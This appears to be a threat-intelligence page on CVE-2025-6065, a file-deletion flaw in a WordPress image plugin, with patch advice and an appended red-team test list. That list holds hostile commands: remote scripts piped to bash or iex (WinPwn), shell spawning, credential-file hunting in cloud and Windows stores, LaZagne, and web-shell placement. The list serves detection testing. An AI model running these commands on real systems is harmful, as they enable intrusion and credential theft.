CVE-2025-6065
Overview
This vulnerability is a directory traversal flaw caused by insufficient validation of file paths in the 'delete' task of the Image Resizer On The Fly WordPress plugin. The affected component fails to properly sanitize user-supplied input, allowing manipulation of file system paths. This improper handling occurs in all plugin versions up to and including 1.1, specifically within the file deletion functionality.
Vulnerability Description
The Image Resizer On The Fly plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'delete' task in all versions up to, and including, 1.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An unauthenticated attacker can exploit this vulnerability to delete arbitrary files on the web server, including critical WordPress configuration files such as wp-config.php. This can result in denial of service or facilitate remote code execution by removing security-critical files. The attack requires only network access to the vulnerable WordPress installation and no privileges or user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The ability to delete arbitrary files undermines the integrity and availability of the affected system and can lead to full system compromise.
Solution
Users should upgrade the Image Resizer On The Fly plugin to version 1.2 or later, where the file path validation issue has been addressed. Detailed patch information and upgrade instructions are available on the official WordPress plugin page (https://wordpress.org/plugins/image-resizer-on-the-fly/) and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/14877ff6-e393-41a3-91c1-fe7f477297cc). No official workaround is documented; immediate plugin update is recommended to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Image Resizer On The Fly plugin for WordPress stems from inadequate validation of file paths during the execution of the 'delete' task. This oversight allows unauthenticated attackers to manipulate the delete functionality, enabling them to target and remove arbitrary files from the server. The lack of stringent checks means that an attacker can craft a request that bypasses the intended restrictions, leading to unauthorized file deletions. This can have severe consequences, particularly if critical files such as configuration files or sensitive data are removed, potentially leading to further exploitation of the server.
Attack vectors for this vulnerability are relatively straightforward, given the nature of the flaw. An attacker can exploit the insufficient file path validation by sending crafted HTTP requests to the vulnerable plugin. These requests can specify paths to sensitive files, such as the wp-config.php file, which contains database credentials and other critical configuration settings. Once such a file is deleted, the attacker may gain the ability to execute arbitrary code on the server, leading to a full compromise of the WordPress installation. This exploitation can be executed without any authentication, making it particularly dangerous as it opens the door for widespread attacks against poorly secured WordPress installations.
The real-world impact of this vulnerability is significant, especially for businesses relying on WordPress for their online presence. The potential for arbitrary file deletion can lead to severe operational disruptions, data loss, and even reputational damage. If an attacker successfully deletes critical files, the website may become inoperable, resulting in lost revenue and customer trust. Furthermore, if the attacker gains access to sensitive information, such as user data or payment details, the organization may face legal repercussions and regulatory scrutiny. The high CVSS score of 9.1 reflects the critical nature of this vulnerability, emphasizing the urgency for organizations to address it promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify outdated plugins and potential weaknesses in the system. Additionally, organizations should ensure that all WordPress plugins, including the Image Resizer On The Fly, are kept up to date with the latest security patches. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests aimed at exploiting this vulnerability. Furthermore, implementing strict file permissions and regularly backing up critical files can help mitigate the impact of any successful attacks.
In conclusion, the vulnerability in the Image Resizer On The Fly plugin for WordPress presents a serious threat to the security and integrity of web applications. The ease of exploitation combined with the potential for significant damage underscores the importance of robust security practices. Organizations must prioritize the timely identification and remediation of such vulnerabilities to safeguard their digital assets and maintain the trust of their users. By adopting comprehensive detection and mitigation strategies, businesses can better protect themselves against the evolving landscape of cyber threats.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-6065, reflecting a near doubling of the likelihood that this vulnerability will be exploited in the wild. Although no new proof-of-concept exploits or active exploitation campaigns have been detected by our sensors, the elevated EPSS score signals growing attacker interest and potential preparatory activity. This shift is significant for defenders because it suggests that the window for proactive mitigation is narrowing, and organizations relying on the affected Image Resizer On The Fly plugin face an increased risk of targeted attacks aiming to leverage arbitrary file deletion for remote code execution. Consequently, the threat level associated with this vulnerability should be considered heightened, warranting increased vigilance in monitoring and response efforts despite the absence of concrete exploit sightings at this time.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-6065 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/14877ff6-e393-41a3-91c1-fe7f477297cc?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/image-resizer-on-the-fly/trunk/image-resizer-on-the-fly.php#L25 |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/image-resizer-on-the-fly/ |